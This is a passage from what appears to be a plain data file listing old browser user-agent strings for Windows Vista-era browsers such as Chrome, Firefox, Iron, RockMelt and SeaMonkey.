like Gecko) Chrome/2.0.176.0 Safari/530.7\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/531.3 (KHTML, like Gecko) Chrome/3.0.193.0 Safari/531.3\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/531.3 (KHTML, like Gecko) Chrome/3.0.193.2 Safari/531.3\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.1 Safari/532.0\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.10 Safari/532.0\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.17 Safari/532.0\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.20 Safari/532.0\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.21 Safari/532.0\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.27 Safari/532.0\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.3 Safari/532.0\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.6 Safari/532.0\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.196.2 Safari/532.0\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.197.11 Safari/532.0\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.198.0 Safari/532.0\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.201.1 Safari/532.0\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.0 Safari/532.0\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.2 Safari/532.0\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.1 Safari/532.0\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.207.0 Safari/532.0\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.208.0 Safari/532.0\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.2 Safari/532.0\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.4 Safari/532.0\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.7 Safari/532.0\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.1 Safari/532.1\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.220.1 Safari/532.1\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.6 Safari/532.2\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.12 Safari/532.2\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.0 Safari/532.2\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.3 (KHTML, like Gecko) Chrome/4.0.224.2 Safari/532.3\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.3 (KHTML, like Gecko) Iron/4.0.227.0 Chrome/4.0.227.0 Safari/532.3\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.4 (KHTML, like Gecko) Chrome/4.0.241.0 Safari/532.4\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.8 (KHTML, like Gecko) Iron/4.0.275.2 Chrome/4.0.275.2 Safari/532.8\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.9 (KHTML, like Gecko) Iron/4.0.280.0 Chrome/4.0.280.0 Safari/532.9\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.1 (KHTML, like Gecko) Maxthon/3.0.8.2 Safari/533.1\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.1 Safari/533.2\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.5 Safari/533.2\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/533.3\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.127 Safari/533.4\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 ChromePlus/1.5.2.0\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.10 (KHTML, like Gecko) RockMelt/0.8.40.147 Chrome/8.0.552.231 Safari/534.10\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.0 Safari/534.13\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Iron/9.0.600.2 Chrome/9.0.600.2 Safari/534.13\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.13 (KHTML, like Gecko) RockMelt/0.9.46.126 Chrome/9.0.597.107 Safari/534.13\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.13 (KHTML, like Gecko) RockMelt/0.9.48.58 Chrome/9.0.597.107 Safari/534.13\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/9.0.601.0 Safari/534.14\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Iron/10.0.650.0 Chrome/10.0.650.0 Safari/534.16\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.16 (KHTML, like Gecko) RockMelt/0.9.50.518 Chrome/10.0.648.205 Safari/534.16\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.16 (KHTML, like Gecko) RockMelt/0.9.50.549 Chrome/10.0.648.205 Safari/534.16\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.20 (KHTML, like Gecko) Chrome/11.0.672.2 Safari/534.20\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.24 (KHTML, like Gecko) Iron/11.0.700.0 Chrome/11.0.700.0 Safari/534.24\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.458.1 Safari/534.3\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475 Chrome/6.0.475.0 Safari/14183168.534\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475 Chrome/6.0.475.0 Safari/42721888.534\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475 Chrome/6.0.475.0 Safari/56984160.534\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475 Chrome/6.0.475.0 Safari/59178784.534\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475 Chrome/6.0.475.0 Safari/87693504.534\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/25200576.534\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/54535104.534\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/56316576.534\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/59022688.534\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/80224064.534\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Iron/7.0.520.0 Chrome/7.0.520.0 Safari/534.7\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.7 (KHTML, like Gecko) RockMelt/0.8.36.116 Chrome/7.0.517.44 Safari/534.7\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.7 (KHTML, like Gecko) RockMelt/0.8.36.128 Chrome/7.0.517.44 Safari/534.7\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.7 (KHTML, like Gecko) RockMelt/0.8.36.79 Chrome/7.0.517.44 Safari/534.7\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.8 (KHTML, like Gecko) Chrome/7.0.521.0 Safari/534.8\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.107 Safari/535.1\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/535.1 (KHTML, like Gecko) Iron/13.0.800.0 Chrome/13.0.800.0 Safari/535.1\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:0.9.4.1) Gecko/20020508 Netscape6/6.2.3\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.7.12) Gecko/20050915 K-Meleon/0.9\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.7.13) Gecko/20060414\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.7.5) Gecko/20060912 Netscape/8.1.2\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.7.5) Gecko/20070321 Netscape/8.1.3\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.0.10pre) Gecko/20070207 Firefox/1.5.0.10pre\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.0.12) Gecko/20070508 Firefox/1.5.0.12\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.0.12) Gecko/20070508 Firefox/1.5.0.12 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.0.6) Gecko/20060730 K-Meleon/1.01\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1) Gecko/20061003 Firefox/2.0\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.10) Gecko/20071115 Firefox/2.0.0.10\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.10) Gecko/20071116 K-Meleon/1.1.3\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.8 MEGAUPLOAD 1.0\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.11) Gecko/20071128 SeaMonkey/1.1.7\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.12) Gecko/20080128 Firefox/2.0.0.12\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.12) Gecko/20080203 K-Meleon/1.1.4\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.12) Gecko/20080207 Firefox/2.0.0.12\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.12) Gecko/20080213 Thunderbird/2.0.0.12\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.12) Gecko/20080219 Firefox/2.0.0.12 Navigator/9.0.0.6\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.13) Gecko/20080326 Firefox/2.0.0.13 Flock/1.1.1\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.17\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.14) Gecko/20080406 K-Meleon/1.1.5\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.14) Gecko/20080414 Firefox/2.0.0.14 Flock/1.1.2\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.17\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.17) Gecko/20080914 Thunderbird/2.0.0.17\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.17) Gecko/20080915 Firefox/2.0.0.17 Flock/1.2.6\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.17) Gecko/20080919 K-Meleon/1.5.1\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.17pre) Gecko/20080716 K-Meleon/1.5.0\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.18) Gecko/20081031 SeaMonkey/1.1.13\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.19) Gecko/20081204 SeaMonkey/1.1.14\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.19) Gecko/20081209 Thunderbird/2.0.0.19\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.19) Gecko/20081217 K-Meleon/1.5.2\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2 Mnenhy/0.7.5.0\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.2) Gecko/20070222 K-Meleon/1.02\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.11\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 ( .NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.21) Gecko/20090303 SeaMonkey/1.1.15\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.21) Gecko/20090331 K-Meleon/1.5.3\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.21) Gecko/20090403 K-Meleon/1.02\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.21) Gecko/20090403 SeaMonkey/1.1.16\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.2pre) Gecko/20070221 K-Meleon/0.9\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 ( .NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.6) Gecko/20070801 Firefox/2.0 Wyzo/0.5.3\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.7) Gecko/20070925 Firefox/2.0.0.7 Flock/0.9.1.2\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.8) Gecko Firefox/2.0\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.8pre) Gecko/20070928 Firefox/2.0.0.7 Navigator/9.0RC1\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.8pre) Gecko/20071019 Firefox/2.0.0.8 Navigator/9.0.0.1\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.14) Gecko/20080404 Firefox/2.0.0.14\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1b2) Gecko/20060821 Firefox/2.0b2\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8b5) Gecko/20051019 Flock/0.4 Firefox/1.0+\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9) Gecko/2008051206 Firefox/3.0 MEGAUPLOAD 1.0\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9) Gecko/2008051206 Firefox/3.0 MEGAUPLOAD 2.0\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9) Gecko/2008061302 Firefox/3.0 Flock/2.0b1\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9) Gecko/2008071513 Minefield/3.0\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10 (.NET CLR 3.5.21022)\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10 GTB7.0 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 GTB5 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.12) Gecko/2009070611 Firefox/3.5.12\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.14) Gecko/2009082707 Firefox/3.0.14 ( .NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.2) Gecko/2008091620 Firefox/3.0.2\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.2) Gecko/2008092122 Firefox/3.0.2 Flock/2.0b3\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3 ( .NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3 GTB7.1\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.3) Gecko/2008100719 Firefox/3.0.3 Flock/2.0\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.4) Gecko/2008102920 Firefox/2.0.0.6 MEGAUPLOAD 1.0 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.4) Gecko/2008112016 Firefox/3.0.4 Flock/2.0.2\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5 FirePHP/0.2.1\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5 GTB7.0 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.5) Gecko/2008121620 Firefox/3.0.5 Flock/2.0.3\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.5) Gecko/2009011615 Firefox/3.0.5 CometBird/3.0.5\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6 GTB5 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6;MEGAUPLOAD 1.0\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.8\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.6) Gecko/2009021815 Firefox/3.0.6 CometBird/3.0.6\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7 (.NET CLR 2.0.50727; .NET CLR 3.0.30618; .NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7 GTB5\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7 GTB5 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7 GTB6 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.7) Gecko/2009030821 Firefox/3.0.7 Orca/1.1 build 2\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.7 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729) FirePHP/0.2.4\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 GTB5\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 GTB5 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9 GTB5 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.9) Gecko/2009042410 Firefox/3.0.9 Wyzo/3.0.3\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1) Gecko/20090615 Firefox/3.5\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1) Gecko/20090624 Firefox/3.5 GTB5 (.NET CLR 3.0.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1) Gecko/20090701 Firefox/3.5 Lunascape/5.1.2.3\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.1) Gecko/20090722 Firefox/3.5.1 Orca/1.2 build 2\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.11) Gecko/20100701 SeaMonkey/2.0.6\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.15) Gecko/20101029 Firefox/3.5.15 Lunascape/6.3.4.23051 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.16) Gecko/20101123 SeaMonkey/2.0.11\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.16) Gecko/20101130 MRA 5.4 (build 02647) Firefox/3.5.16 ( .NET CLR 3.5.30729; .NET4.0C)\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.19) Gecko/20110420 SeaMonkey/2.0.14\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.1pre) Gecko/20090717 SeaMonkey/2.0b1\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.0.10 MEGAUPLOAD 1.0  (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.0.6;MEGAUPLOAD 1.0 GTB5 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727; .NET CLR 3.0.30618; .NET CLR 3.5.21022; .NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 GTB5\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.6) Gecko/20091201 MRA 5.4 (build 02647) Firefox/3.5.6 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8 (.NET CLR 3.5.30729) FirePHP/0.4\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1a1pre) Gecko/2008071403 Minefield/3.1a1pre\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1a2pre) Gecko/2008072403 Minefield/3.1a2pre\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1b2) Gecko/20081127 Firefox/3.1b1\nMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1b2pre) Gecko/20081011 